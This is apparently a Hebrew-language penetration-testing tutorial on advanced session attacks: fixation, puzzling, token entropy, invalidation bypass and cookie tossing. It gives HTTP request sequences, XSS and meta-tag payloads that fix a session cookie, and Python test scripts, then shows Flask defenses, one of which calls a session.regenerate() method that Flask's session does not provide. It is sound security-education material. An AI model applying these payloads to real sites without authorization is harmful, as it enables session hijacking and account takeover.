תקיפות סשן מתקדמות - Advanced Session Attacks¶
מבוא¶
ניהול סשנים הוא אחד מאבני היסוד של אבטחת אפליקציות ווב. טוקן הסשן משמש כתחליף לאימות מחדש בכל בקשה. חולשות בניהול הסשן מאפשרות לתוקף לחטוף סשנים, לזייף אותם, או לנצל אותם בדרכים יצירתיות.
תקיפה 1: קיבוע סשן - Session Fixation¶
הרקע¶
בתקיפת קיבוע סשן, התוקף כופה על הקורבן להשתמש ב-session ID שידוע לתוקף. כאשר הקורבן מתחבר, התוקף משתמש באותו session ID כדי לגשת לחשבון.
תנאי מוקדם¶
האפליקציה חייבת לקבל session IDs מהלקוח ולא לחדש אותם בהתחברות.
שלבי התקיפה¶
# שלב 1: התוקף מקבל session ID
GET / HTTP/1.1
Host: target.com
HTTP/1.1 200 OK
Set-Cookie: session=KNOWN_SESSION_ID; Path=/
# שלב 2: התוקף שולח לינק לקורבן עם ה-session ID
# שיטה א: דרך URL
https://target.com/login?session=KNOWN_SESSION_ID
# שיטה ב: דרך XSS
<script>document.cookie="session=KNOWN_SESSION_ID"</script>
# שיטה ג: דרך meta tag (אם יש HTML injection)
<meta http-equiv="Set-Cookie" content="session=KNOWN_SESSION_ID">
# שיטה ד: דרך subdomain cookie
# אם התוקף שולט ב-sub.target.com:
Set-Cookie: session=KNOWN_SESSION_ID; Domain=.target.com
# שלב 3: הקורבן מתחבר עם ה-session הידוע
POST /login HTTP/1.1
Cookie: session=KNOWN_SESSION_ID
username=victim&password=secret
# שלב 4: התוקף משתמש באותו session
GET /dashboard HTTP/1.1
Cookie: session=KNOWN_SESSION_ID
# אם ה-session לא חודש -> התוקף מחובר כקורבן!
בדיקה¶
import requests
def test_session_fixation(base_url):
"""בדיקת חולשת session fixation"""
session = requests.Session()
# שלב 1: קבלת session ID
resp = session.get(f"{base_url}/")
original_session = session.cookies.get('session')
print(f"[*] Session לפני login: {original_session}")
# שלב 2: התחברות
session.post(f"{base_url}/login", data={
'username': 'wiener',
'password': 'peter'
})
new_session = session.cookies.get('session')
print(f"[*] Session אחרי login: {new_session}")
if original_session == new_session:
print("[+] Session לא חודש - חשוף ל-Session Fixation!")
else:
print("[-] Session חודש בהתחברות - מוגן")
תקיפה 2: בלבול סשן - Session Puzzling¶
הרקע¶
Session puzzling (גם נקרא Session Variable Overloading) מתרחש כאשר האפליקציה משתמשת באותם משתני סשן למטרות שונות. תוקף יכול להגדיר משתנה סשן במסלול אחד ולנצל אותו במסלול אחר.
תרחיש¶
# תהליך איפוס סיסמה מגדיר את המשתמש בסשן:
POST /forgot-password HTTP/1.1
Cookie: session=ABC123
email=admin@target.com
# השרת מגדיר: session['reset_user'] = 'admin'
# תהליך שינוי סיסמה בודק את session['user']:
POST /change-password HTTP/1.1
Cookie: session=ABC123
new_password=hacked123
# אם השרת בודק session['reset_user'] במקום session['authenticated_user']
# -> ניתן לשנות סיסמה של admin!
דוגמה נוספת¶
# תהליך 1: הרשמה מגדירה role
POST /register HTTP/1.1
role=admin&name=Test&email=test@test.com
# session['role'] = 'admin' (ללא אימות)
# תהליך 2: הפרופיל בודק session['role']
GET /admin-panel HTTP/1.1
# session['role'] == 'admin' -> גישה מאושרת!
בדיקה¶
def test_session_puzzling(base_url):
"""בדיקת חולשת session puzzling"""
session = requests.Session()
# שלב 1: גשו לנקודת קצה שמגדירה משתני סשן
session.post(f"{base_url}/forgot-password", data={
'email': 'admin@target.com'
})
# שלב 2: נסו לגשת לנקודות קצה מוגנות
endpoints = ['/admin', '/dashboard', '/change-password', '/profile']
for ep in endpoints:
resp = session.get(f"{base_url}{ep}", allow_redirects=False)
if resp.status_code == 200:
print(f"[+] גישה ל-{ep} לאחר forgot-password!")
elif resp.status_code == 302:
loc = resp.headers.get('Location', '')
if 'login' not in loc:
print(f"[+] הפניה מ-{ep} ל: {loc}")
תקיפה 3: ניתוח אנטרופיית טוקן - Token Entropy Analysis¶
הרקע¶
טוקני סשן חייבים להיות בלתי ניתנים לחיזוי. אם האנטרופיה נמוכה, ניתן לנחש טוקנים פעילים.
שימוש ב-Burp Sequencer¶
1. יירטו בקשה שמחזירה session cookie
2. לחצו ימני -> Send to Sequencer
3. בחרו את ה-cookie שרוצים לנתח
4. לחצו Start live capture
5. אספו לפחות 10,000 טוקנים
6. Sequencer יחשב:
- Overall entropy quality
- Character-level analysis
- Bit-level analysis
7. אם האנטרופיה נמוכה מ-100 ביט -> חשוף לחיזוי
ניתוח ידני¶
import collections
import math
import requests
def analyze_session_entropy(base_url, sample_size=1000):
"""ניתוח אנטרופיית טוקני סשן"""
tokens = []
print(f"[*] אוסף {sample_size} טוקנים...")
for i in range(sample_size):
resp = requests.get(base_url)
cookie = resp.cookies.get('session', '')
if cookie:
tokens.append(cookie)
if (i + 1) % 100 == 0:
print(f" נאספו {i + 1} טוקנים")
if not tokens:
print("[-] לא נמצאו טוקנים")
return
# ניתוח אורך
lengths = [len(t) for t in tokens]
print(f"\n[*] אורך טוקן: min={min(lengths)}, max={max(lengths)}")
# ניתוח תווים
all_chars = ''.join(tokens)
char_freq = collections.Counter(all_chars)
unique_chars = len(char_freq)
print(f"[*] תווים ייחודיים: {unique_chars}")
# חישוב אנטרופיה של Shannon
total = len(all_chars)
entropy = 0
for count in char_freq.values():
p = count / total
entropy -= p * math.log2(p)
print(f"[*] אנטרופיית Shannon: {entropy:.2f} ביט לתו")
print(f"[*] אנטרופיה כוללת: {entropy * min(lengths):.2f} ביט")
# בדיקת כפילויות
duplicates = len(tokens) - len(set(tokens))
if duplicates > 0:
print(f"[!] נמצאו {duplicates} טוקנים כפולים!")
# בדיקת דפוסים
# בדיקה אם חלק מהטוקן קבוע
if len(set(t[:4] for t in tokens)) < 10:
print("[!] 4 התווים הראשונים כמעט קבועים")
if entropy * min(lengths) < 64:
print("[+] אנטרופיה נמוכה מדי - חשוף לכוח גס!")
elif entropy * min(lengths) < 128:
print("[!] אנטרופיה בינונית - עלול להיות חשוף")
else:
print("[-] אנטרופיה מספקת")
return {
'tokens': len(tokens),
'length': min(lengths),
'unique_chars': unique_chars,
'entropy_per_char': entropy,
'total_entropy': entropy * min(lengths),
'duplicates': duplicates
}
תקיפה 4: ניצול סשנים מקבילים - Concurrent Session Abuse¶
הרקע¶
אפליקציות רבות מאפשרות מספר סשנים פעילים בו-זמנית. ניתן לנצל זאת בדרכים שונות.
תרחישים¶
תרחיש 1: שימוש בסשן אחרי שינוי סיסמה
1. התוקף גונב session cookie (באמצעות XSS, sniffing, וכו')
2. הקורבן מגלה ומשנה סיסמה
3. האם הסשן הגנוב עדיין פעיל? אם כן - חולשה!
תרחיש 2: סשן מרובה משתמשים
1. שני משתמשים מתחברים לאותו חשבון
2. משתמש א' משנה הרשאות
3. האם השינוי משפיע מיד על סשן של משתמש ב'?
תרחיש 3: שדרוג הרשאות
1. מנהל מעלה הרשאות של משתמש
2. המשתמש לא מתחבר מחדש
3. האם ההרשאות החדשות חלות על הסשן הקיים?
בדיקה¶
def test_session_invalidation(base_url, username, password):
"""בדיקה אם סשנים מבוטלים בשינוי סיסמה"""
# סשן 1
session1 = requests.Session()
session1.post(f"{base_url}/login", data={
'username': username,
'password': password
})
# סשן 2
session2 = requests.Session()
session2.post(f"{base_url}/login", data={
'username': username,
'password': password
})
# בדיקה שלשני הסשנים יש גישה
r1 = session1.get(f"{base_url}/profile")
r2 = session2.get(f"{base_url}/profile")
print(f"[*] סשן 1: {r1.status_code}, סשן 2: {r2.status_code}")
# שינוי סיסמה דרך סשן 1
new_password = password + "NEW"
session1.post(f"{base_url}/change-password", data={
'current_password': password,
'new_password': new_password
})
# בדיקה אם סשן 2 עדיין עובד
r2_after = session2.get(f"{base_url}/profile")
print(f"[*] סשן 2 אחרי שינוי סיסמה: {r2_after.status_code}")
if r2_after.status_code == 200:
print("[+] סשן 2 עדיין פעיל - סשנים לא מבוטלים!")
else:
print("[-] סשן 2 בוטל - הגנה תקינה")
תקיפה 5: עקיפת ביטול סשן - Session Invalidation Bypass¶
הרקע¶
גם כאשר השרת מבטל סשנים, ייתכנו דרכים לעקוף את הביטול.
טכניקות¶
# טכניקה 1: שימוש בסשן ישן עם cache
GET /profile HTTP/1.1
Cookie: session=OLD_SESSION
If-None-Match: "cached_etag"
# אם השרת מחזיר 304 Not Modified ללא בדיקת סשן
# טכניקה 2: שימוש ב-refresh token
POST /token/refresh HTTP/1.1
Cookie: refresh_token=STILL_VALID_REFRESH_TOKEN
# אם ה-refresh token לא בוטל עם הסשן
# טכניקה 3: API endpoints שלא בודקים ביטול
GET /api/v1/user HTTP/1.1
Authorization: Bearer OLD_ACCESS_TOKEN
# ה-API בודק רק את תקינות הטוקן, לא אם בוטל
# טכניקה 4: WebSocket שנשאר פתוח
# חיבורי WebSocket לא תמיד מתנתקים כשהסשן מבוטל
תקיפה 6: תקיפות Cookie - Cookie-Based Attacks¶
מניפולציית Domain ו-Path¶
# בדיקה 1: Cookie scoping
# אם ה-cookie מוגדר ל-.target.com
# כל subdomain יכול לקרוא ולשנות אותו
Set-Cookie: session=abc; Domain=.target.com; Path=/
# תוקף ששולט ב-evil.target.com יכול:
# 1. לקרוא את ה-session cookie
# 2. לדרוס אותו עם ערך ידוע (session fixation)
עקיפת הגבלת Path¶
# Cookie מוגבל ל-path מסוים:
Set-Cookie: admin_session=xyz; Path=/admin
# עקיפה באמצעות iframe:
<iframe src="/admin/page"></iframe>
# ה-iframe שולח את ה-cookie ו-JavaScript יכול לגשת לתוכנו
# (אם אותו origin)
Cookie Tossing¶
# כאשר יש subdomain בשליטת התוקף:
# evil.target.com מגדיר cookie עבור .target.com
Set-Cookie: session=ATTACKER_VALUE; Domain=.target.com; Path=/
# ה-cookie של התוקף עלול לדרוס את ה-cookie האמיתי
# או להישלח לפני ה-cookie האמיתי
# תוצאה: session fixation או בלבול סשן
Cookie Jar Overflow¶
def cookie_jar_overflow(target_url, target_cookie_name):
"""דריסת cookie על ידי הצפת ה-cookie jar"""
# דפדפנים מגבילים מספר cookies לדומיין (בדרך כלל 150-180)
# אם מוסיפים מספיק cookies, הישנים נמחקים
session = requests.Session()
# יצירת cookies רבים כדי לדחוק את ה-cookie הרצוי
for i in range(200):
session.cookies.set(f'junk_{i}', 'x' * 100, domain='.target.com')
# כעת ניתן להגדיר cookie חדש באותו שם
session.cookies.set(target_cookie_name, 'attacker_value', domain='.target.com')
כלים¶
Burp Sequencer¶
מטרה: ניתוח איכות האקראיות של טוקנים
שימוש:
1. לכדו תגובה שמכילה session cookie
2. שלחו ל-Sequencer
3. בחרו את הערך לניתוח
4. הריצו live capture של 10,000+ דגימות
5. בדקו את תוצאות הניתוח
סקריפט מלא לבדיקת סשנים¶
#!/usr/bin/env python3
"""
סקריפט מקיף לבדיקת אבטחת סשנים
"""
import requests
import time
class SessionTester:
def __init__(self, base_url):
self.base_url = base_url
def test_session_regeneration(self, username, password):
"""בדיקה אם הסשן מחודש בהתחברות"""
print("[*] בודק חידוש סשן...")
session = requests.Session()
session.get(self.base_url)
pre_login = session.cookies.get('session')
session.post(f"{self.base_url}/login", data={
'username': username,
'password': password
})
post_login = session.cookies.get('session')
if pre_login == post_login:
print(" [+] Session Fixation - הסשן לא חודש!")
else:
print(" [-] הסשן חודש בהתחברות")
def test_secure_flags(self):
"""בדיקת דגלי אבטחה ב-cookie"""
print("\n[*] בודק דגלי אבטחה...")
resp = requests.get(self.base_url)
cookies = resp.headers.get('Set-Cookie', '')
checks = {
'Secure': 'Secure' in cookies,
'HttpOnly': 'HttpOnly' in cookies,
'SameSite': 'SameSite' in cookies,
}
for flag, present in checks.items():
status = "[-] חסר" if not present else "[+] קיים"
print(f" {status}: {flag}")
def test_logout_invalidation(self, username, password):
"""בדיקה אם logout מבטל את הסשן"""
print("\n[*] בודק ביטול סשן ב-logout...")
session = requests.Session()
session.post(f"{self.base_url}/login", data={
'username': username,
'password': password
})
# שמירת ה-cookie
session_cookie = session.cookies.get('session')
# logout
session.get(f"{self.base_url}/logout")
# ניסיון שימוש ב-cookie הישן
resp = requests.get(
f"{self.base_url}/profile",
cookies={'session': session_cookie},
allow_redirects=False
)
if resp.status_code == 200:
print(" [+] הסשן עדיין פעיל לאחר logout!")
else:
print(" [-] הסשן בוטל כראוי")
def test_session_timeout(self, username, password, wait_minutes=5):
"""בדיקת תפוגת סשן"""
print(f"\n[*] בודק תפוגת סשן ({wait_minutes} דקות)...")
session = requests.Session()
session.post(f"{self.base_url}/login", data={
'username': username,
'password': password
})
session_cookie = session.cookies.get('session')
print(f" ממתין {wait_minutes} דקות...")
time.sleep(wait_minutes * 60)
resp = requests.get(
f"{self.base_url}/profile",
cookies={'session': session_cookie},
allow_redirects=False
)
if resp.status_code == 200:
print(f" [!] הסשן עדיין פעיל אחרי {wait_minutes} דקות")
else:
print(f" [-] הסשן פג תוקף")
def run_all(self, username, password):
"""הרצת כל הבדיקות"""
print(f"{'='*60}")
print(f"[*] בדיקת אבטחת סשנים - {self.base_url}")
print(f"{'='*60}")
self.test_session_regeneration(username, password)
self.test_secure_flags()
self.test_logout_invalidation(username, password)
print(f"\n{'='*60}")
print("[*] הבדיקה הושלמה")
if __name__ == "__main__":
tester = SessionTester("https://target.com")
tester.run_all("wiener", "peter")
הגנות - Defenses¶
1. חידוש סשן בהתחברות¶
from flask import session
@app.route('/login', methods=['POST'])
def login():
if authenticate(request.form['username'], request.form['password']):
# חידוש הסשן למניעת fixation
session.regenerate()
session['user'] = request.form['username']
session['authenticated'] = True
return redirect('/dashboard')
2. דגלי Cookie מאובטחים¶
app.config.update(
SESSION_COOKIE_SECURE=True, # רק HTTPS
SESSION_COOKIE_HTTPONLY=True, # ללא גישת JavaScript
SESSION_COOKIE_SAMESITE='Lax', # הגנת CSRF
SESSION_COOKIE_DOMAIN=None, # דומיין מדויק בלבד
PERMANENT_SESSION_LIFETIME=1800 # 30 דקות
)
3. ביטול כל הסשנים בשינוי סיסמה¶
@app.route('/change-password', methods=['POST'])
def change_password():
# שינוי הסיסמה
user.set_password(request.form['new_password'])
# ביטול כל הסשנים
invalidate_all_sessions(user.id)
# יצירת סשן חדש
session.regenerate()
session['user'] = user.id
return redirect('/dashboard')
4. דרישות אנטרופיה¶
- אורך מינימלי של 128 ביט (32 תווים hex)
- שימוש ב-CSPRNG (Cryptographically Secure Pseudo-Random Number Generator)
- לא לכלול מידע ניתן-לחיזוי (timestamp, user ID, IP)
סיכום¶
תקיפות סשן מתקדמות מנצלות חולשות בניהול מחזור חיי הסשן. הנקודות המרכזיות:
- חדשו תמיד את הסשן בהתחברות כדי למנוע fixation
- הפרידו משתני סשן למטרות שונות כדי למנוע puzzling
- ודאו אנטרופיה גבוהה בטוקנים באמצעות Burp Sequencer
- בטלו את כל הסשנים בשינוי סיסמה
- הגדירו דגלי Secure, HttpOnly ו-SameSite בכל Cookie
- הגבילו את Domain ו-Path של cookies למינימום הנדרש